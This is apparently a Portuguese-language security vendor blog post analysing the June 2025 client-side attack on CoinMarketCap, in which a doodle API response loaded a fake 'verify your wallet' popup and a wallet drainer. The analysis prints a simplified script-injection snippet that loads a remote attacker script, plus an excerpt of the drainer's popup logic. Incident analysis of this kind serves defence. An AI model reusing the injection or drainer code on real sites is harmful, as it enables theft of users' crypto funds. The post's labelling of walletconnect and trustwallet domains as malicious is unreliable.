Skip to main content
Blog
Blog Attacks

Ataque Client-Side ao CoinMarketCap: Uma Análise Completa

Em 20 de junho de 2025, o CoinMarketCap (CMC) — um pilar do ecossistema de criptomoedas, utilizado por milhões de pessoas para dados cripto em tempo real — sofreu um incidente de segurança significativo.

Jun 23, 2025 12 min read
coin-market-cap-image-cover

Em 20 de junho de 2025, o CoinMarketCap (CMC) — um pilar do ecossistema de criptomoedas, utilizado por milhões de pessoas para dados cripto em tempo real — sofreu um incidente de segurança significativo. Um ataque client-side comprometeu seu frontend, enganando usuários para que conectassem suas carteiras cripto por meio de um sofisticado esquema de phishing. Essa violação evidencia vulnerabilidades críticas nos caminhos de entrega de conteúdo confiáveis. Embora não saibamos se a resposta da API foi comprometida por código de terceiros ou por uma configuração incorreta interna, o resultado foi claro: execução de malware client-side por meio de uma API confiável.

A seguir, detalhamos o ataque em duas camadas: um resumo de alto nível para partes interessadas não técnicas e uma análise técnica aprofundada para profissionais de segurança.

Resumo de Alto Nível: O Que Aconteceu?

Fonte: https://x.com/DarkWebInformer/status/1936209452878745680

Os popups não faziam parte dos recursos legítimos do CMC — eram resultado de um ataque client-side que sequestrou o frontend do site.

Cronologia do Ataque

Fonte: https://x.com/blockaid_/status/1936199273701687702

Em 20 de junho de 2025, usuários que acessavam a página inicial do CoinMarketCap começaram a ver popups inesperados. Esses popups, criados para imitar a identidade visual do CoinMarketCap, pediam que os usuários "verificassem suas carteiras" para "manter acesso completo" à plataforma.

Momento Crítico: A primeira transação maliciosa vinculada ao ataque foi executada às 16h57 (horário de Brasília) — um horário provavelmente escolhido para coincidir com o fim do expediente de engenheiros e equipes de segurança, retardando a detecção imediata.

Principais Conclusões para Partes Interessadas Não Técnicas

  • Como Começou: O ataque teve início com um elemento pequeno e aparentemente inofensivo na página inicial do CMC: uma imagem "doodle" (um gráfico decorativo, como um logotipo temático de feriado).
  • O Que Aconteceu Depois: Essa imagem doodle estava vinculada a um recurso não confiável (um arquivo JSON) hospedado em um domínio externo (cdnkit[.]io). Esse recurso continha código oculto que injetou um popup falso no navegador do usuário.
  • O Golpe: O popup parecia legítimo, usando as cores, logotipos e linguagem de urgência do CMC para enganar os usuários e fazê-los conectar suas carteiras cripto (ex.: MetaMask, Phantom). Uma vez conectadas, os atacantes podiam roubar fundos.
  • Por Que É Grave: Embora esse ataque se assemelhasse a um comprometimento de cadeia de suprimentos do ponto de vista do frontend — já que o código malicioso foi entregue por um endpoint confiável — a causa subjacente pode ter sido uma modificação direta de uma resposta de API própria. A origem real não é clara sem acesso interno. Do ponto de vista do frontend, porém, o incidente evidencia o perigo de canais de dados confiáveis serem abusados.

Análise Técnica Aprofundada: Como o Ataque Funcionou

Para entender a mecânica do ataque, dividimos o processo em etapas, desde o gatilho inicial até o payload final.

Etapa 1: A Imagem Doodle — Comprometimento Inicial

A página inicial do CoinMarketCap incluía uma seção de "doodle", um recurso comum em feriados ou eventos (ex.: um logotipo especial para o Dia Mundial do Coração). Esse doodle era carregado dinamicamente por meio de uma requisição de API para https://api[.]coinmarketcap[.]com/content/v3/doodle/get?type=5

A API retornava um arquivo JSON com metadados sobre os doodles ativos, incluindo links para arquivos de imagem.

A Resposta JSON Maliciosa

A resposta JSON incluía uma referência a um arquivo hospedado em cdnkit[.]io:

"lightModeFile": "https://static[.]cdnkit[.]io/cmc/6855a83d80876056dab0a5cf[.]json"

Essa URL não apontava para uma imagem simples. Em vez disso, retornava outro arquivo JSON com código JavaScript embutido.

Etapa 2: JavaScript Injetado — Execução Client-Side

O JSON proveniente de cdnkit[.]io continha um trecho de JavaScript oculto, projetado para ser executado no navegador do usuário. Veja uma versão simplificada do código:

// Verifica se o ataque já foi injetado
if (!window.cmcInjected) {
  window.cmcInjected = true;

  // Modifica a página para ocultar elementos legítimos (ex.: o logotipo real do CMC)
  const logo = document.querySelector('.cmc-logo');
  if (logo) {
    logo.title = 'Go to homepage'; // Título falso para simular legitimidade
    logo.removeAttribute('data-text');
  }

  // Adiciona CSS para estilizar o popup falso
  const style = document.createElement('style');
  style.textContent = `.cmc-logo svg{margin-top:-3px}...`; // Oculta elementos reais
  document.head.appendChild(style);

  // Injeta o script do popup malicioso
  const script = document.createElement('script');
  script.src = 'https://static[.]cdnkit[.]io/cmc/popup[.]js';
  document.head.appendChild(script);
}  

Observações Principais

  • Execução Client-Side: O código é executado no navegador do usuário, não nos servidores do CMC. Isso contorna as ferramentas de segurança server-side.
  • Verificação de Persistência: O sinalizador window.cmcInjected garante que o script seja executado apenas uma vez por sessão, evitando detecção.
  • Manipulação do DOM: O script modifica o HTML/CSS da página para ocultar elementos legítimos (ex.: o logotipo real do CMC) e preparar o terreno para o popup falso.

Etapa 3: O Popup Falso — Interface de Phishing

O script injetado (popup[.]js, hospedado em blockassets[.]app) criou uma sobreposição com aparência realista. Veja como funcionava:

Estrutura do Popup

O popup imitava o design do CMC, com:

  • Um título "Verify Your Wallet".
  • Uma mensagem de urgência: "Please connect your wallet now to authenticate and maintain full access to your CoinMarketCap account."
  • Um botão "Connect Wallet" estilizado para corresponder à interface do CMC.

Lógica JavaScript

O script popup[.]js incluía funções para:

  1. Exibir o Popup: Adicionar uma sobreposição em tela cheia com a mensagem falsa.
  2. Gerenciar a Interação do Usuário: Quando o usuário clicava em "Connect Wallet", o script tentava se conectar a uma carteira cripto (ex.: MetaMask, Phantom).
  3. Exfiltração de Dados: Se conectado, o script se comunicava com domínios maliciosos (ex.: walletconnect[.]com, trustwallet[.]com) para roubar credenciais da carteira ou chaves privadas.

Etapa 4: Análise de Domínios — Infraestrutura Suspeita

O ataque dependia de domínios com sinais de alerta evidentes:

Domínio Detalhes
cdnkit[.]io Hospedou o JSON malicioso inicial. Domínio registrado em 2020; sem vínculo direto com o CMC.
blockassets[.]app Hospedou popup[.]js e f43f9316-f6a5-4626-bafd-fd4fd52cb490[.]js. Os dados WHOIS do domínio mostram que ele não pertence ao CMC.
admin2[.]prod[.]coinmarketcap[.]supply Um domínio com erro ortográfico (supply em vez de com) imitando a infraestrutura do CMC. O WHOIS indica que tem 2.677 dias de existência (criado em 2018) e não pertence ao CMC.
walletconnect[.]com Redireciona para reown[.]com, um domínio conhecido por estar associado a golpes.
trustwallet[.]com Historicamente associado a extensões de navegador fraudulentas (conforme avaliações de usuários).

Etapa 5: Wallet Drainer — Payloads Técnicos

O script popup[.]js interagia com uma biblioteca JavaScript maior (hospedada em blockassets[.]app) que incluía funções para:

  • Conexão de Carteira: Detectar e conectar carteiras populares (MetaMask, Phantom, etc.).
  • Lógica de Ataque Adaptativa: Personalizar o fluxo de phishing com base no tipo de carteira detectado, para evitar avisos de segurança e falhas de assinatura.
  • Assinatura de Transações: Enganar os usuários para que assinassem transações maliciosas (ex.: aprovação de transferências de tokens).
  • Tratamento de Erros: Exibir mensagens de erro falsas (ex.: "Your wallet is blacklisted") para pressionar os usuários a tentar novamente com carteiras diferentes.

Exemplo de Trecho de Código

A função customPopupOpen em popup[.]js controlava o comportamento do popup:

window.customPopupOpen = function(params) {
  const stepName = params.stepName;
  return new Promise((resolve) => {
    const errorSteps = ["blacklisted", "connect_empty", "connect_too_low", ...];

    if (errorSteps.includes(stepName)) {
      // Exibe mensagem de erro falsa
      injectToasterMessage({
        blacklisted: "Your wallet is not AML clear, you can't use it!",
        connect_empty: "For security reasons we can't allow you to connect empty or new wallet.",
        ...
      }[stepName]);
    } else {
      // Exibe spinner de carregamento para enganar os usuários
      modalFooter.classList.add("loading");
      resolve(); // Continua o script drainer
    }
  });
};  

Revelações Pós-Ataque

Fonte: https://x.com/ReyXBF/status/1936276267797475526

Nas horas seguintes ao incidente, um canal do Telegram chamado "CommLeaks" compartilhou capturas de tela supostamente extraídas do painel de controle do atacante. Essas imagens, vinculadas ao "Inferno Drainer" (uma ferramenta maliciosa bem documentada para esvaziar carteiras cripto), revelaram:

  • Total de Fundos Roubados: Aproximadamente US$ 43.266 foram subtraídos de 110 vítimas que interagiram com o popup falso de verificação de carteira.
  • Escala do Ataque: O painel destacou o alcance do ataque, com centenas de usuários enganados para conectar suas carteiras. Isso evidencia a eficácia das táticas de engenharia social (urgência, interface realista) combinadas com o comprometimento client-side.

Por Que Este Ataque É Importante

A Ameaça Crescente de Ataques a JavaScript de Terceiros

A violação do CoinMarketCap evidencia um padrão que vemos com frequência: ataques que exploram canais de entrega de conteúdo confiáveis — sejam bibliotecas de terceiros ou APIs internas — para injetar scripts maliciosos nos navegadores dos usuários. Os atacantes visam cada vez mais bibliotecas, CDNs e ferramentas SaaS integradas a sites. Por exemplo:

  • O ataque ao Polyfill (fevereiro de 2024) distribuiu código malicioso via cdn[.]polyfill[.]io, um serviço amplamente utilizado para compatibilidade entre navegadores
  • Scripts de terceiros frequentemente têm acesso a dados sensíveis do usuário (ex.: cookies, endereços de carteira), tornando-os alvos prioritários

Por Que as Defesas Tradicionais Falham:

  • Ferramentas de segurança server-side (firewalls, WAFs) não conseguem inspecionar a execução de código client-side.
  • Até mesmo serviços confiáveis (ex.: plataformas de analytics) podem ser comprometidos, como visto no ataque ao doodle do CoinMarketCap.

Vulnerabilidades no Caminho de Dados Confiável

Do ponto de vista do cliente, esse incidente imita um ataque à cadeia de suprimentos, onde conteúdo malicioso foi entregue por um caminho confiável — mas a causa raiz pode ter sido um comprometimento direto do backend. Embora ainda não haja evidências de que um terceiro tenha sido comprometido, o ataque utilizou um endpoint de API confiável (/doodle/get) para entregar código malicioso. Isso significa que até mesmo a infraestrutura própria, se mal configurada ou violada, pode se tornar inadvertidamente um canal de distribuição de malware — assim como uma biblioteca ou CDN contaminada faria. ⚠️ Esclarecimento: Isso foi realmente um ataque à cadeia de suprimentos?

Ainda não sabemos se uma dependência de terceiros foi comprometida, ou se a API /doodle/get foi modificada internamente. No entanto, do ponto de vista do frontend, o incidente se comportou como um ataque à cadeia de suprimentos, pois conteúdo malicioso foi entregue por um serviço confiável — quebrando a cadeia de confiança implícita, independentemente da origem.

Riscos Client-Side

Ataques client-side (código executado no navegador do usuário) são particularmente perigosos sem proteção client-side, porque:

  • Contornam ferramentas de segurança server-side (ex.: firewalls, sistemas de detecção de intrusão).
  • Exploram a confiança do usuário em uma plataforma familiar (CMC).
  • Podem se espalhar rapidamente, já que o código malicioso é carregado a cada visita à página.

Como Se Proteger

Para Usuários

  • Evite Popups Não Solicitados: Nunca conecte sua carteira por meio de um popup, mesmo em sites confiáveis. Plataformas legítimas não solicitam conexões de carteira via popups inesperados.
  • Use Bloqueadores de Anúncios: Ferramentas como uBlock Origin ou AdGuard podem bloquear o carregamento de scripts maliciosos.
  • Verifique os Domínios: Fique atento a erros de digitação nas URLs (ex.: coinmarketcap[.]supply vs. coinmarketcap[.]com).
  • Examine Cada Aprovação: Antes de assinar, leia atentamente os detalhes na sua carteira. Desconfie especialmente de solicitações que pedem permissões amplas.

Para Plataformas (ex.: CMC)

  • Audite Integrações de Terceiros: Revise regularmente todos os recursos externos (imagens, scripts, APIs) carregados na sua plataforma.
  • Integridade de Sub-recursos (SRI): O SRI pode ser usado para vincular scripts a hashes (ex.: ``). No entanto, na maioria dos casos o SRI não será uma opção viável devido ao comportamento altamente dinâmico do JavaScript. O SRI também não emite alertas sobre violações, o que dificulta seu uso em produção.
  • Monitore a Atividade Client-Side: Use ferramentas como Sentry ou New Relic para detectar execuções inesperadas de JavaScript.

Utilize Ferramentas de Monitoramento de JS de Terceiros: Scripts de terceiros são uma parte essencial da cadeia de suprimentos da web moderna, mas também introduzem riscos. Código malicioso injetado por bibliotecas de terceiros (ex.: ferramentas de analytics, redes de anúncios ou polyfills) pode comprometer dados de usuários ou viabilizar ataques como o do CoinMarketCap.

Como o cside Pode Ajudar: Plataformas como o cside são especializadas em monitorar, proteger e otimizar JavaScript de terceiros. Seus serviços incluem:

  • Análise de Payload em Tempo Real: Rastreie cada requisição para detectar alterações maliciosas em scripts de terceiros
  • Detecção de Ataques à Cadeia de Suprimentos: Identifique dependências comprometidas (ex.: o incidente de fevereiro de 2024 com cdn[.]polyfill[.]io, que injetou código malicioso em milhares de sites)
  • Suporte à Conformidade com PCI: Garanta que as integrações de terceiros atendam aos padrões de segurança para setores que lidam com dados sensíveis

Próximo Passo: Crie uma conta gratuita em cside.com para começar a monitorar seus scripts de terceiros e se proteger contra vulnerabilidades na cadeia de suprimentos.

Conclusão

A violação do CoinMarketCap é um lembrete contundente da fragilidade da confiança na era digital. Ao sequestrar um elemento menor como uma imagem doodle, os atacantes infiltraram uma plataforma utilizada por milhões e transformaram essa confiança em arma para roubar fundos. À medida que a adoção de criptomoedas cresce, cresce também a necessidade de vigilância — tanto das plataformas que protegem seus caminhos de entrega de conteúdo confiáveis quanto dos usuários que examinam cada interação. Para equipes de segurança, esse incidente reforça a importância do gerenciamento de riscos na cadeia de suprimentos e da segurança client-side. Para os usuários, é um chamado para permanecer alerta: até mesmo plataformas confiáveis podem ser vítimas de táticas sofisticadas de phishing.

Agradecimento especial ao nosso amigo e colaborador convidado do blog, Jack LaFond.

Himanshu Anand
Software Engineer Himanshu Anand

I'm a software engineer and security analyst.

Monitore e Proteja Seus Scripts de Terceiros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comece grátis, ou experimente o Business com um teste de 14 dias.

Interface do painel cside mostrando monitoramento de scripts e análises de segurança
Related Articles
Agende uma demonstração